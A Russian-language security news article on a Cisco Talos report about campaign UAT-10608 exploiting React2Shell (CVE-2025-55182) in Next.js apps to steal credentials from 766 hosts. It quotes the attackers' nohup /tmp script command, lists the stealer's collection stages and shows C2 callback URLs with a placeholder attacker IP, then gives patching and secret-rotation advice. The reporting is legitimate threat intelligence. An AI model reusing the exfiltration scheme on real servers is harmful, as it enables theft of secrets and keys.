Исследователи Cisco Talos сообщили о крупной автоматизированной кампании, в которой злоумышленники эксплуатируют критическую уязвимость React2Shell в публично доступных веб-приложениях, прежде всего на Next.js. По данным Talos, атакующая группа, отслеживаемая как UAT-10608, скомпрометировала 766 хостов и построила почти конвейерную схему кражи данных с серверов.
В основе атак лежит уязвимость CVE-2025-55182 — удалённое выполнение кода без аутентификации в React Server Components. Национальная база NVD описывает её как небезопасную десериализацию данных из HTTP-запросов к серверным функциям. Уязвимость получила максимальную оценку CVSS 10.0. Изначально для Next.js отдельно фигурировал номер CVE-2025-66478, но затем его отклонили как дубликат, оставив основным идентификатором именно CVE-2025-55182.
Читайте также: ИИ против хакеров: 0-day уязвимости в React и Node.js найдены искусственным интеллектом
Злоумышленники используют собственную инфраструктуру сбора данных под названием NEXUS Listener. После первичного проникновения через React2Shell они запускают на сервере полезную нагрузку, которая автоматически ищет и отправляет наружу чувствительные данные. В числе наиболее частых находок — учётные данные баз данных, приватные SSH-ключи, секреты AWS, история команд оболочки, рабочие ключи Stripe и токены GitHub.
Сбор данных осуществляют с помощью скриптов оболочки, запускаемых с помощью команды nohup и размещаемых в каталоге /tmp с использованием случайных имен:
/bin/sh -c nohup sh /tmp/.eba9ee1e4.sh >/dev/null 2>&1
Первоначальный эксплойт для React предоставляет небольшой дроппер, который загружает и запускает полный многоэтапный скрипт сбора данных. После выполнения скрипт сбора данных проходит несколько этапов для сбора различных данных из скомпрометированной системы, как описано ниже:
-
environ - Дамп переменных среды запущенного процесса
-
jsenv — Извлечение среды выполнения JavaScript из JSON-анализа.
-
ssh - Сбор закрытых ключей SSH и авторизованных ключей
-
токены — сопоставление с шаблоном и извлечение строк учетных данных.
-
история - Захват истории команд оболочки
-
cloud_meta - Запрос к API метаданных облака (AWS/GCP/Azure)
-
k8s - Извлечение токенов учетной записи службы Kubernetes
-
Docker — перечисление конфигураций контейнеров
-
cmdline - Отображает список всех командных строк запущенных процессов.
-
proc_all - Агрегировать все переменные среды процесса
Платформа использует файл meta.json, который отслеживает состояние выполнения:

После завершения каждого этапа сбора данных отправляется HTTP-запрос обратно на сервер управления (C2), на котором запущен компонент NEXUS Listener. В большинстве случаев обратный вызов осуществляется на порту 8080 и содержит следующие параметры:
-
Имя хоста
-
Фаза
-
ИДЕНТИФИКАТОР
Вот несколько примеров полных URL-адресов, выполняемых после каждого этапа:
http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=info&id= 123abc45
http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=jsenv&id= 123abc45
http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=k8s&id=123abc45
http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=crontab&id=123abc45
Масштаб сбора данных показателен. По данным Cisco Talos, примерно на 701 хосте нашли учётные данные к базам данных, примерно на 599 — приватные SSH-ключи, на 196 — данные доступа к AWS, на 245 — историю команд оболочки, на 87 — действующие ключи Stripe, а на 66 — токены GitHub. Всего исследователи зафиксировали 10 120 собранных файлов.
BleepingComputer также сообщает, что исследователи Talos получили доступ к открытому экземпляру NEXUS Listener и смогли посмотреть, какие именно данные стекались с уже взломанных машин. Это позволило подтвердить не только факт эксплуатации React2Shell, но и реальный объём выкачанной информации.
Для защиты нет «волшебной таблетки», но шаги вполне понятны. Во-первых, нужно убедиться, что серверы не используют уязвимые версии React Server Components. Во-вторых, после возможной компрометации мало просто поставить патч: Talos и профильные издания подчёркивают, что необходимо перевыпустить все секреты, которые могли храниться на сервере, включая доступы к базам данных, SSH-ключи, облачные токены и API-ключи сторонних сервисов. Если злоумышленник уже скачал эти данные, одно обновление фреймворка ситуацию не исправит.
Есть новость? Станьте автором.
Мы сотрудничаем с независимыми исследователями и специалистами по кибербезопасности. Отправьте нам новость или предложите статью на рассмотрение редакции.